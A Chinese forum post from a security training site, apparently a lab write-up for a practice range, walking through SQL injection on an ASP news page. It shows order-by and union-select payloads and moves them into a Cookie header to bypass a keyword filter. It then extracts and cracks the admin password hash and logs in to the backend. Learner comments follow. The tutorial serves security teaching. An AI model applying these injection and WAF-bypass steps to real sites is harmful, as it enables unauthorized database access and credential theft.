2.1.1、靶场第二关解题思路 — Sql Injection — 注入攻击原理-2

admin   ·   发表于 2018-03-20 16:05:35   ·   CTF&WP专版

PPT已打包至附件!

Burp下载地址:http://bbs.zkaq.cn/?t/79.html

课程回放地址:https://ke.qq.com/course/275794?tuin=62e148


第二章:遇到阻难!绕过WAF过滤!【配套课时:SQL注入攻击原理 实战演练】

       我们打开传送门,映入眼帘的是一个新闻门户站。 我们点击一条新闻,因为一般新闻页面的功能都是与数据库进行交互的。


 通过页面连接:

http://120.203.13.111:8001/shownews.asp?id=171


 我们可以得知,是网站下的shownews.asp这个ASP动态网页文件,与数据库进行交互,并查询出了第171篇(id=171)新闻内容的值。

 



接下来我们尝试注入,用第一课学到的知识尝试输入字符拼接sql语句

http://120.203.13.111:8001/shownews.asp?id=171 order by 10




查询当前表是否有10个字段,页面返回正常,于是我们继续拼接order by,但把10改成11

http://120.203.13.111:8001/shownews.asp?id=171 order by 11


页面出现错误!返回数据库错误,证明此页面存在sql注入,也测试出此表拥有10个字段


我们继续拼接查询语句,通过from,看页面返回是否正常来猜测有没有admin这个表

http://120.203.13.111:8001/shownews.asp?id=171 union select 1,2,3,4,5,6,7,8,9,10 from admin


访问发现有注入防护,经测试只要url出现select(查询)关键字,就会被拦截。


我们尝试,将测试语句放到cookie里面,再发送给服务器,因为网页防护一般只拦截Get、post传参。

我们打开Chrome浏览器,这里用到了ModHeader插件(可点击这里或在附件下载)。




我们点击+号新增一个Request头。



我们添加一个Cookie头,并写值为id=171,并确保已开启(打勾)

我们直接访问

http://120.203.13.111:8001/shownews.asp

返回显示正常,


这证明cookie里的id=171,也能正常传参,被当作sql语句拼接。那我们直接进行注入。

我们输入Cookie值为:

id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

继续猜测是否存在admin表(+号代替空格,不然会出错)

发现页面回显了2、3、7、8、9。


没有出现数据库错误,这证明admin表是存在的。且第2、第3、7、8、9字段,可以用来猜测字段名,同时,可以直接回显在页面上。

我们接着尝试猜测最常见的管理表字段名Username和Password,我们在2、3、7、8、9中任选两个,分别填入Username和Password

比如2和3:

id=171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin

接着刷新页面,发现页面返回了admin表中,username和password字段的值:admin、b9a2a2b5dffb918c


这应该就是管理员用户名和密码了,但管理员密码看起来有些奇怪。字母+数字的16位组合,很像md5的特征。

打开cmd5.com(解密站点)

将b9a2a2b5dffb918c进行解密。

发现密码的明文是welcome。

这个站貌似是南方的CMS,默认管理员后台是根目录的/admin/。

我们尝试打开后台:

http://120.203.13.111:8001/admin/

出现管理员登录页面,输入用户名admin、密码welcome,填写验证码。





                                成功登陆!到此,成功绕过防护注入得到密码,登陆后台拿到FLAG!


(chrome浏览器插件下载地址在附件,解压密码zkaq.org)



打赏我,让我更有动力~

Attachment List

49 Reply   |  Until 1个月前 | 97375 View

deep_one
发表于 2019-2-10

666

评论列表

  • 加载数据中...

编写评论内容

bester
发表于 2019-3-21

舒服


评论列表

  • 加载数据中...

编写评论内容

豆瓣酱
发表于 2019-3-27

又学到了一点知识,虽然知识可能有点老,但还是觉得挺好的

评论列表

  • 加载数据中...

编写评论内容

wangqianshun
发表于 2019-4-24

请问附件在哪里?

评论列表

  • 加载数据中...

编写评论内容

gin
发表于 2019-5-10

为什么我在modify headers上改了cookie,(id=171)刷新后数据库出错,求解释!!!!

评论列表

  • 加载数据中...

编写评论内容

jinshengwuhui
发表于 2019-5-27

为什么用ModHeader没效果啊 还是显示错误

评论列表

  • 加载数据中...

编写评论内容

poppy
发表于 2019-10-31

试试

评论列表

  • 加载数据中...

编写评论内容

joeren
发表于 2019-12-30

话说,这个数据库怎么猜出来的?

评论列表

  • 加载数据中...

编写评论内容

gh5504
发表于 2020-3-19

谷歌浏览器可以直接F12添加cookie

评论列表

  • 加载数据中...

编写评论内容

无名123
发表于 2020-3-25

进入了

评论列表

  • 加载数据中...

编写评论内容

hack_2_something
发表于 2020-4-2

其实,我很想知道,为什么直接猜表名admin呢,对于这里,id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin,不加后面的+from+admin,为啥报错呢?前面的数字不应该只是一个占位符的作用吗

评论列表

  • 加载数据中...

编写评论内容

默叶
发表于 2020-5-4

我进不了那个网站后台,其他网站上网是没有问题的,是不是因为那个网站太多访问量了,导致的页面载入错误,请大家指教一下

评论列表

  • 加载数据中...

编写评论内容

2198540012
发表于 2020-6-10

我的modheader好像没什么用,直接shownews.asp显示数据库错误是怎么回事?

评论列表

  • 加载数据中...

编写评论内容

ceg
发表于 2020-6-13

1

评论列表

  • 加载数据中...

编写评论内容

秋安
发表于 2020-7-6


我咋一用工具就爆数据库出错啊,这咋回事啊

评论列表

  • 加载数据中...

编写评论内容

yangming
发表于 2020-8-1

老师啊,这个解题不行啊,从增加Cookie开始访问的页面就打不开了,后面的步骤一个也没成功,后台管理页面也打不开。

评论列表

  • 加载数据中...

编写评论内容

abb
发表于 2020-8-3

为什么我下载不了插件啊

评论列表

  • 加载数据中...

编写评论内容

t607086
发表于 2020-8-25

老师为什么我的这个样子

评论列表

  • 加载数据中...

编写评论内容

13501539968
发表于 2020-10-2

Access没有数据库名,但猜表名、列名,用手注非常耗时。管理员这里直接猜得的表名是 admin 、列名是username、password

评论列表

  • 加载数据中...

编写评论内容

1144387046
发表于 2020-12-17

评论列表

  • 加载数据中...

编写评论内容
首页 1 2 3 / 3 跳转 尾页
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.